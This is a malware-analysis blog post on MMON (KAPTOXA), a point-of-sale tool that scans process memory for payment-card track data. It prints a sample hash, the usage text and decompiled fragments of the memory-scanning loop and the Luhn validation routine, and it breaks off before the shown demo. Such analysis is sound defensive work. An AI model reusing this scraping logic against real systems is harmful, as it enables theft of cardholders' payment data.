Point-of-Sale malware - MMON (aka KAPTOXA)

reversing.fun/posts/2022/01/02/mmon.html

..

January 2, 2022

Jan 2, 2022

MMON (aka KAPTOXA) is a command-line tool to find credit card data and other patterns within a process memory address space.

Sample:

```
86dd21b8388f23371d680e2632d0855b442f0fa7e93cd009d6e762715ba2d054
```

```
PDB: P:\vm\devel\dark\mmon\Release\mmon.pdb
```

Available command-line options:

```
C:\Documents and Settings\sysadmin\Desktop>mmon.exe
        scan all processes:  mmon.exe
        scan all processes for string pattern:  mmon.exe 0 <PATTERN>
        scan process with pid for kartoxa:  mmon.exe <pid>
        scan process with pid for kartoxa and string pattern:  mmon.exe <pid> <PATTERN>
```

To search the process memory, MMON uses a combination of **OpenProcess**, **VirtualQueryEx**, **ReadProcessMemory**.

```
36  prcHdl = OpenProcess(PROCESS_ALL_ACCESS, 0, target_pid_1);
37  if ( prcHdl )
38  {
39    fn_scan_process_mem(prcHdl);
40    return 0;
41  }
```

```
17  do
18  {
19    result = VirtualQueryEx(procHdl, lpAddress, &Buffer, 28u);
20    v3 = result;
21    v7 = result;
22    if ( result && Buffer.RegionSize )
23    {
24      result = Buffer.BaseAddress;
25      base_addr_plus_region_size = Buffer.BaseAddress + Buffer.RegionSize;
26      if ( Buffer.BaseAddress < Buffer.BaseAddress + Buffer.RegionSize )
27      {
28        do
29        {
30          virtual_addr_max = result + 10000000;
31          if ( result + 10000000 > base_addr_plus_region_size )
32            virtual_addr_max = base_addr_plus_region_size;
33          NumberOfBytesRead = 0;
34          if ( ReadProcessMemory(procHdl, result, lpBuffer, virtual_addr_max - result, &NumberOfBytesRead) )
35            fn_search_cc_tracks(NumberOfBytesRead);
36          result = virtual_addr_max;
37        }
38        while ( virtual_addr_max < base_addr_plus_region_size );
```

The CC tracks are validated with the Luhn algorithm:

```
BOOL __cdecl fn_luhn_check(const char *a1)
{
  int v1; // eax
  const char *v2; // edx
  unsigned int v4; // eax
  int v5; // esi
  BOOL v6; // ebx
  int v7; // edi
  int v8; // ecx

  v1 = 0;
  while ( 1 )
  {
    v2 = a1;
    if ( a1[v1] != 48 )
      break;
    if ( ++v1 >= 16 )
      return 0;
  }
  if ( !a1 )
    return 0;
  v4 = strlen(a1);
  if ( v4 - 13 <= 6 )
  {
    v5 = v4 - 1;
    v6 = 0;
    v7 = 0;
    if ( (v4 - 1) <= -1 )
      return v7 % 10 == 0;
    while ( isdigit(v2[v5]) )
    {
      v8 = a1[v5] - 48;
      if ( v6 )
      {
        v8 *= 2;
        if ( v8 > 9 )
          v8 += 1 - 10 * (v8 / 10);
      }
      --v5;
      v7 += v8;
      v6 = !v6;
      if ( v5 <= -1 )
```

```
        return v7 % 10 == 0;
    v2 = a1;
  }
}
return 0;
}
```

As seen below, MMON was able to find the dummy CC tracks within the notepad process memory: